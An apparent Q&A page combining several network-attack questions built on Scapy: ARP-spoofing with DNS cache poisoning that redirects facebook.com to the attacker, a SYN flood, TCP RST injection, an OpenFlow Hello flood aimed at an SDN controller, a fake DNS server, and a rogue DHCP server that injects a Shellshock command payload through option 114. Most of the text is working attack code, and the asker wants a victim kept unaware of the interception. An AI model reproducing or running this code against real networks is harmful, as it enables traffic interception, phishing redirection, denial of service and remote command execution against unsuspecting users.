Scapy - How to forward packets after using arpspoof? - python-3.x

I want to poison dns cache of a machine. First I used arpspoof -i wlan0 -t target_ip -r gateway_ip
I know I could forward the traffic using sysctl -w net.ipv4.ip_forward=1, but then I wouldn't be able to modify dns packets since they are already forwarded.
I need to forward packets using Scapy. By only changing MAC addresses of the packets like in the code below, the forwarding doesn't work.
What I want is to achieve what sysctl -w net.ipv4.ip_forward=1 does, after poisoning DNS cache of the target.
I tried this:
from scapy.all import *
gateway_mac = "x:x:x:x:x:x"
target_ip = "192.168.43.97"
target_mac = "x:x:x:x:x:x"
local_ip = "192.168.43.132"
local_mac = "x:x:x:x:x:x"
def poisonDNS(packet):
if packet.haslayer(DNS):
if packet.haslayer(DNSRR):
qname = packet[DNS].qd.qname.decode('utf-8')
ancount = packet[DNS].ancount
dns_id = packet[DNS].id
rr = packet.getlayer(DNSRR)
for i in range(ancount):
rrname = rr[i].rrname.decode('utf-8')
rrtype = rr.get_field('type').i2repr(rr, rr.type)
rrdata = rr[i].rdata
if type(rrdata) == bytes:
rrdata = rrdata.decode("utf-8")
if 'facebook.com' in rrname and rrtype == 'A':
print("Poisoning target's DNS cache")
packet[DNS].an[i].rdata = '192.168.43.132'
packet.show()
print("Successfully poisoned target's DNS cache")
def forwardPacket(packet):
if packet.haslayer(Ether):
src_mac = packet[Ether].src
dst_mac = packet[Ether].dst
if src_mac == target_mac.lower() and dst_mac == local_mac.lower():
# Target --> Local ==> Local --> Gateway
packet[Ether].src = local_mac.lower()
packet[Ether].dst = gateway_mac.lower()
elif src_mac == gateway_mac.lower() and dst_mac == local_mac.lower():
# Gateway --> Local ==> Local --> Target
packet[Ether].src = local_mac.lower()
packet[Ether].dst = target_mac.lower()
sendp(packet)
def packet_callback(packet):
# Poison DNS
poisonDNS()
# Forward packets
forwardPacket(packet)
sniff(prn=packet_callback, store=0)
This doesn't work. The requests dont go through
What am I doing wrong? How can I forward the traffic in Scapy?

Related

Scapy & Docker: Get container's IP address w/o using Container ID?

What is the easiest way to compare IP addresses using Scapy (in Python3.6) and Docker? I have a piece of code that sniffs my Docker bridge network using Scapy sniff(). I want to look at each packet's source IP address, and if it matches the IP address for my container named "plc1", do additional steps. If they don't match, I just return an empty list and move on.
However I cannot figure out how to compare a packet's source IP address to a container name. It really needs to be the container's name and not the ID, since I am running a ton of containers in parallel and looking up ID's to plug into my Python3.6 script is tedious. Any thoughts? I've tried using the Docker SDK but it needs the Container ID, which is what I am trying to avoid...
Sample Python3.6 code, which does not work, included below:
#!/usr/bin/env python3
from scapy.all import *
def find_ports(pkt):
# if src IPaddr matches IP addr of container plc1...
if pkt[IP].src == 'plc1': # THIS DOES NOT WORK
# if there is a match, get some additional packet info
if TCP in pkt:
tcp_dport = pkt[TCP].dport
ip_total_len = pkt.getlayer(IP).len
ip_header_len = pkt.getlayer(IP).ihl * 32 / 8
tcp_header_len = pkt.getlayer(TCP).dataofs * 32 / 8
tcp_seg_len = ip_total_len - ip_header_len - tcp_header_len
sequence_num = pkt[1].ack
return [tcp_dport, tcp_seg_len, sequence_num]
# else if NO MATCHING ip addr's, return blank list...
else:
return []
tempList = sniff(filter="ip", prn=find_ports, iface="br-19f0ba1cf88f")
# if templist not empty...
if tempList:
# send a TCP RST packet...
ip = IP(src="plc1", dst="hmi_pass_thru")
tcp = TCP(sport=502, dport=tempList[0], flags="R", seq=int(tempList[1]), ack=int(tempList[2]) + 1)
pkt = ip / tcp
ls(pkt)
send(pkt, verbose=0)

Forwarding packets to windows

I wrote a code to send a packet from my Kali Linux machine to my Windows PC but the packet doesn't show in Wireshark. There are no errors in the code and it sends the packets but they are not received.
Any one can help ?
#!/usr/bin/python
from scapy.all import *
def synflood(src,tgt,message):
for dport in range(1024,65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=4444, dport=dport)
RAWlayer = Raw(load=message)
pkt = IPlayer/TCPlayer
send(pkt)
source = input("src: ")
target = input("targert : ")
message = input(" load : ")
while True:
synflood(source,target,message)
Update: So i fixed the problem! i tried replacing the for statement by "dport = 80" and for the target IP i chose another dest IP than my pc aand it showed up in wireshark, that's how i realised that i should configure an internal VM network instead of the bridged one , and it worked

Unable to create OpenFlow13 message with Scapy

I am writing a code where I am capturing openflow13 packets using tcpdump and wireshark. I am running mininet topo and floodlight SDN controller. Once I get my SDN controller IP and port details from the capture, I intent to create multiple OFPTHello messages and send it to the SDN Controller [sort of DDoS attack]. Although I am able to extract the controller's details, I am unable to create Scapy OFPTHello message packets.
Request to please help me identify and resolve the issue
Mininet Topo I am running-
sudo mn --topo=linear,4 --mac --controller=remote,ip=192.168.56.102 --switch=ovsk,protocols=OpenFlow13
My Code-
#!/usr/bin/env python3
try:
import time
import subprocess
import json
import sys
from scapy.all import *
from scapy.contrib.openflow import _ofp_header
from scapy.fields import ByteEnumField, IntEnumField, IntField, LongField, PacketField, ShortField, XShortField
from scapy.layers.l2 import Ether
ofp_table = {0xfe: "MAX",
0xff: "ALL"}
ofp_buffer = {0xffffffff: "NO_BUFFER"}
ofp_version = {0x04: "OpenFlow 1.3"}
ofp_type = {0: "OFPT_HELLO"}
class OFPHET(_ofp_header):
#classmethod
def dispatch_hook(cls, _pkt=None, *args, **kargs):
if _pkt and len(_pkt) >= 2:
t = struct.unpack("!H", _pkt[:2])[0]
return ofp_hello_elem_cls.get(t, Raw)
return Raw
def extract_padding(self, s):
return b"", s
class OFPTHello(_ofp_header):
name = "OFPT_HELLO"
fields_desc = [ByteEnumField("version", 0x04, ofp_version),
ByteEnumField("type", 0, ofp_type),
ShortField("len", None),
IntField("xid", 0),
PacketListField("elements", [], OFPHET, length_from=lambda pkt: pkt.len - 8)]
# Capture controller's IP address and Port
Hello_Msg = []
Switch_TCP_Port = []
p = subprocess.Popen(['sudo', 'tcpdump', '-i', 'eth1', 'port', '6653', '-w', 'capture.pcap'], stdin=subprocess.PIPE, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
time.sleep(45)
p.terminate()
captures = rdpcap('capture.pcap')
for capture in captures:
msg = (capture.summary()).split(" ")
i = len(msg)
if (msg[i-1] == "OFPTFeaturesRequest"):
Features_Request = capture.summary()
break;
elif (msg[i-1] == "OFPTHello"):
Hello_Msg.append(capture.summary())
for Hello in Hello_Msg:
frame = Hello.split("/")[2]
port = ((frame.split(" ")[2]).split(":"))[1]
Switch_TCP_Port.append(port)
Features_Request = Features_Request.split("/")[2]
Source_Frame = (Features_Request.split(" ")[2]).split(":")
Controller_IP = Source_Frame[0]
Controller_Port = int(Source_Frame[1])
print("\nController's IP Address: %s"%Controller_IP)
print("Controller's Port: %s"%Controller_Port)
# Generating Openfow PAcket_In using Scapy
for p in Switch_TCP_Port:
p = int(p)
packet = Ether(src='08:00:27:fa:75:e9',dst='08:00:27:f1:24:22')/IP(src='192.168.56.101',dst=Controller_IP)/TCP(sport=p,dport=Controller_Port)/OFPTHello()
send(packet)
except ImportError as e:
print ("\n!!! ImportError !!!")
print ("{0}. Install it.\n".format(e))
Wireshark Capture- [Only has 4 hello packets, no Scapy packets are captured]
Question/Issue- I am able to receive the ideal number of 4 hello packets from the mininet topology. However, the new hello packets I am trying to create using scapy are not being sent/ captured by wireshark. I have attached my scapy code for reference.
In your code do this
modify the line:
send(packet)
To
send(packet,iface='eth1') where eth1 is the egress interface of the attacking VM
The reason is that even if a malformed Openflow packet is put on the wire, Wireshark will still be able to capture it, assuming your attack VM has a route to the controller VM. This means that your code is not putting the Packet on the right wire, send(packet,iface='eth1') will put it on the right wire.

continue net connection of victim after DHCP spoofing attack

I'm performing a dhcp spoofing attack. First I run a dhcp starvation attack which depletes the ip pool of my router. Then I execute the dhcp spoofing code which assigns a fake ip to my victim device, when it tries to connect to the wireless router.
My problem is, after my victim device is assigned the fake ip it can no longer access the internet. In a real case scenario, if the victim gets disconnected from the internet, they will know something is wrong, also there's no point to a spoofing attack if I cannot see the victim's activity.
So, how do I connect my victim to the internet with the fake ip? yes i know the DHCP rouge server will act as the real server for the victim, but how exactly is the implementation supposed to be, since in my case the dhcp rouge server is my pc and not a router.
Here is the dhcp spoofing code taken from github.
#! /usr/bin/env python
#Based on the PoC from https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/
import binascii
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
from scapy.all import *
parser = argparse.ArgumentParser(description='DHCPSock', epilog='Shock dem shells!')
parser.add_argument('-i', '--iface', type=str, required=True, help='Interface to use')
parser.add_argument('-c', '--cmd', type=str, help='Command to execute [default: "echo pwned"]')
args = parser.parse_args()
command = args.cmd or "echo 'pwned'"
if os.geteuid() != 0:
sys.exit("Run me as r00t")
#BOOTP
#siaddr = DHCP server ip
#yiaddr = ip offered to client
#xid = transaction id
#chaddr = clients mac address in binary format
def dhcp_offer(raw_mac, xid):
print "in dhcp_offer"
packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
IP(src="192.168.0.105", dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
DHCP(options=[("message-type", "offer"),
('server_id', '192.168.0.105'),
('subnet_mask', '255.255.255.0'),
('router', '192.168.0.105'),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
"end"]))
#print packet.show()
return packet
def dhcp_ack(raw_mac, xid, command):
print "in dhcp_ack"
packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
IP(src="192.168.0.105", dst='255.255.255.255') /
UDP(sport=67, dport=68) /
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
DHCP(options=[("message-type", "ack"),
('server_id', '192.168.0.105'),
('subnet_mask', '255.255.255.0'),
('router', '192.168.0.105'),
('lease_time', 172800),
('renewal_time', 86400),
('rebinding_time', 138240),
(114, "() { ignored;}; " + command),
"end"]))
#print packet.show()
return packet
def dhcp(resp):
if resp.haslayer(DHCP):
mac_addr = resp[Ether].src
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
if resp[DHCP].options[0][1] == 1:
xid = resp[BOOTP].xid
print "[*] Got dhcp DISCOVER from: " + mac_addr + " xid: " + hex(xid)
print "[*] Sending OFFER..."
packet = dhcp_offer(raw_mac, xid)
#packet.plot(lambda x:len(x))
#packet.pdfdump("test.pdf")
#print hexdump(packet)
#print packet.show()
sendp(packet, iface=args.iface)
if resp[DHCP].options[0][1] == 3:
xid = resp[BOOTP].xid
print "[*] Got dhcp REQUEST from: " + mac_addr + " xid: " + hex(xid)
print "[*] Sending ACK..."
packet = dhcp_ack(raw_mac, xid, command)
#print hexdump(packet)
#print packet.show()
sendp(packet, iface=args.iface)
print "[*] Waiting for a DISCOVER..."
sniff(filter="udp and (port 67 or 68)", prn=dhcp, iface=args.iface)
#sniff(filter="udp and (port 67 or 68)", prn=dhcp)

Create a DNS server and redirect all request to my site

I want to change in my router the DNS server and in the DNS server I want that every request will return the same site. Basically I need to add some more logic befure the DNS response an answer.
I don't want to write a DNS from scratch. Do you have any suggestions for me ?
maybe, open-source DNS (מo matter what language-c, cpp, python, java...) that can I easily change (if so, which one and where)
can I do it with google-cloud-dns ?
Thanks you.
Take a look here: http://code.activestate.com/recipes/491264-mini-fake-dns-server/
It's a Python script, and it looks like exactly what you need to have.
import socket
class DNSQuery:
def __init__(self, data):
self.data=data
self.dominio=''
tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini=12
lon=ord(data[ini])
while lon != 0:
self.dominio+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])
def respuesta(self, ip):
packet=''
if self.dominio:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts
packet+=self.data[12:] # Original Domain Name Question
packet+='\xc0\x0c' # Pointer to domain name
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
return packet
if __name__ == '__main__':
ip='192.168.1.1'
print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('',53))
try:
while 1:
data, addr = udps.recvfrom(1024)
p=DNSQuery(data)
udps.sendto(p.respuesta(ip), addr)
print 'Respuesta: %s -> %s' % (p.dominio, ip)
except KeyboardInterrupt:
print 'Finalizando'
udps.close()
Regards.

Resources